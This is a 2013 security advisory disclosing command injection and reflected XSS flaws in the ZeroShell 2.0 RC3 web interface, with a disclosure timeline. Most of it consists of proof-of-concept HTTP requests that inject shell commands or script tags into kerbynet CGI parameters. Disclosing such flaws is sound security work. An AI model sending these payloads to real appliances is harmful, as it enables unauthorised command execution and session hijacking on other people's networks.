----------- Author: ----------- xistence < xistence[at]0x90[.]nl > ------------------------- Affected products: ------------------------- ZeroShell 2.0 RC3 ------------------------- Affected vendors: ------------------------- ZeroShell http://www.zeroshell.org/download/ ------------------------- Product description: ------------------------- Zeroshell is a Linux distribution for servers and embedded devices aimed at providing the main network services a LAN requires. It is available in the form of Live CD or Compact Flash image and you can configure and administer it using your web browser. The main features of this Linux distribution for Network Appliances are listed below: ---------- Details: ---------- ZeroShell 2.0 RC3 is prone to multiple vulnerabilities. Below are the details. [ 0x01 - Command Injection ] Command injection (will show linux "uname -a" in response) GET requests: /cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Action=Render&Object=acctEntries&Filter=%26uname%20-a%26 /cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Section=Router&Action=CheckIPPING&IP=%26uname%20-a%26 /cgi-bin/kerbynet?STk=INSERT-STk-TOKEN-HERE&Section=Network&Action=ShowInterface&Interface=%26uname%20-a%26 POST Request: POST /cgi-bin/kerbynet HTTP/1.1 Host: 192.168.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 156 Section=LOG&Action=Header&STk=INSERT-STk-TOKEN-HERE&Page=&Year=%26uname%20-a%26&Month=Aug&Day=14&Host=zeroshell&Process=ConnTrack&Filter= [ 0x02 - Reflected XSS ] /cgi-bin/kerbynet?Section=DNS&STk=INSERT-STk-TOKEN-HERE&Action=Lookup&DNS="><script>alert('XSS')</script> /cgi-bin/kerbynet?Section=LOG&STk=INSERT-STk-TOKEN-HERE&Action=Header&Process=&Filter="%3balert('XSS')// /cgi-bin/kerbynet?Action=Render&STk=INSERT-STk-TOKEN-HERE&Object=<script>alert('XSS')</script>&Page=1&ManSection=1 /cgi-bin/kerbynet?Action=Render&STk=INSERT-STk-TOKEN-HERE&Object=man_page&Page=</title><script>alert('XSS')</script>&ManSection=1 /cgi-bin/kerbynet?Section=LOG&STk=INSERT-STk-TOKEN-HERE&Action=Header&Process=<script>alert('XSS')</script>&Filter= /cgi-bin/kerbynet?Section=Acct&STk=INSERT-STk-TOKEN-HERE&Action=ViewCredit&Username="><script>alert('XSS')</script> /cgi-bin/kerbynet?Action=Lookup&STk=INSERT-STk-TOKEN-HERE&Section=DNS&What="><script>alert('XSS')</script>&DNS=localhost /cgi-bin/kerbynet?Section=LOG&Action=Header&STk=INSERT-STk-TOKEN-HERE&Page=&Year=<script>alert('XSS')</script>&Month=Aug&Day=14&Host=zeroshell&Process=ConnTrack&Filter= /cgi-bin/kerbynet?type="><script>alert('XSS')</script>&x509cn=woot&Action=Edit&STk=INSERT-STk-TOKEN-HERE&Section=K5&Validity=730&nbit=2048&IncludeKey=Yes&Format=pfx /cgi-bin/kerbynet?B1=Submit&Section=User&Action=SaveAdd&STk=INSERT-STk-TOKEN-HERE&user_sel="><script>alert('XSS')</script>&type=user&x509cn=&shadowExpire=&UpdateExpire=no&uid=woot&uidNumber=1337&primaryGroup=&gidNumber=&homeDirectory=%2Fhome%2Fwoot&shell=sh&loginShell=%2Fbin%2Fsh&givenName=woot&sn=woot&o=&gecos=woot+woot&mail=&telephoneNumber=&Expiration_date_mm=&Expiration_date_dd=&Expiration_date_yyyy=&ClassName=DEFAULT&PW=wootwoot&CoPW=wootwoot&K5=yes&vlan=&WIFI=yes /cgi-bin/kerbynet?B1=Submit&Section=User&Action=SaveAdd&STk=INSERT-STk-TOKEN-HERE&user_sel=&type=user&x509cn="><script>alert('XSS')</script>&shadowExpire=&UpdateExpire=no&uid=woot&uidNumber=1337&primaryGroup=&gidNumber=&homeDirectory=%2Fhome%2Fwoot&shell=sh&loginShell=%2Fbin%2Fsh&givenName=woot&sn=woot&o=&gecos=woot+woot&mail=&telephoneNumber=&Expiration_date_mm=&Expiration_date_dd=&Expiration_date_yyyy=&ClassName=DEFAULT&PW=wootwoot&CoPW=wootwoot&K5=yes&vlan=&WIFI=yes ----------- Solution: ----------- No fix available, use a good WAF :) -------------- Timeline: -------------- 2013-09-14 Provided details to ZeroShell. 2013-09-14 Response from ZeroShell that these are not vulnerabilities... *sigh* 2013-10-04 Public disclosure.